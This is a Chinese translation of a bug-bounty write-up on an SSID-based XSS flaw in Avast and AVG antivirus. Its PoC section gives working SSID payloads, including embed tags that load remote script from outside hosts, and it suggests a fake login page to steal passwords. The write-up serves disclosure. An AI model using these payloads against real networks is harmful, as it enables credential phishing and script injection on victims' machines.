Avast杀毒软件中5000美元的XSS漏洞
总结
SSID:无线局域网的标识符(WiFi的名字)
1.利用简单的XSS Payload构造一个SSID名字,你可以参考BruteLogic和s0md3v。
2.在已安装好Avast杀毒软件的电脑上连接无线网络,选择由XSS构成的SSID,等待payload生效。
3.向Avast报告这个漏洞,几个月后他们决定给我5000美元的奖金。
过程
在以前我曾看过有些研究人员会把XSS插入SSID中,等待其他应用和无线网络进行交互,观察是否有攻击生效迹象,于是我也很快制作了一个特殊SSID的无线网络。
而在几个月前,我得到了一个新的笔记本电脑,在安装完必须软件后,还下载了Avast杀毒软件。此时一切都很正常,没有任何异常。
直到有一天我再次使用这个笔记本来进行学习时,突然网络出现波动,笔记本自动连接到我“特意制作”的WiFi中,几秒钟之内,我的桌面上出现了一个弹框警告https://local.avast.com
。
当时我异常震惊,完全想不到为何会出现这种事。后来我才发现是Avast的“网络通知功能”在没有进行安全过滤的情况下直接选取了SSID。
我随后立即编写了漏洞报告,发送给Avast。
概要
Avast杀毒软件之所以会提取SSID,是因为它有监控流量的功能,在用户连接到某个新的网络中,就会向用户发出警报。例如下图就是当用户连接上My Hotspot
无线网络时的警报。
此时SSID出现在窗口的中央,这也就是XSS注入的位置。虽然SSID一般有32个字符的长度限制,但是我们还是可以通过其他研究员的智慧进行攻击(Brute Logic和S0md3v)。值得一提的是,2013年,Deral Heiland就已在这方面有很深的研究。
影响版本
Avast Internet Security
的19.3.2369版本和AVG Internet Security
的19.3.3084版本均受到影响。
实际应用
你可以伪造一个登录页面,要求用户输入敏感的帐户和密码。由于Avast的存在,普通用户可能因麻痹大意而中招。
PoC
1.只需要使用简单的><img src=x onerror=prompt(1)>
作为SSID即可。
2.受害者只要连接上攻击者的无线网络,几秒内就会中招。
3.由于SSID长度的限制,如果想引用外部脚本,可以使用><embed src=//tiny.cc/XYZABCX>
。
除此之外,还有><embed src=//14.rs>
。
演示视频:https://youtu.be/WdqTJp_I8_M
时间线
2019年3月21日:发现了漏洞
2019年3月22日:向bugs@avast.com报告了漏洞
2019年3月25日:Avast确认漏洞的存在
2019年5月24日:Avast询问此漏洞是否已解决(在Avast 19.4中)。
2019年6月12日:Avast认为此漏洞相当严重,因此决定奖励5000美元。
2019年10月30日:Avast上的注入被标记为CVE-2019–18653
,AVG上的注入被标记为CVE-2019–18654
。
最后我想说的是,这个漏洞是在笔记本上发现的,安卓或苹果的移动设备也可能存在类似问题。
参考
感谢你的阅读!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/bugbountywriteup/5-000-usd-xss-issue-at-avast-desktop-antivirus-for-windows-yes-desktop-1e99375f0968
最新评论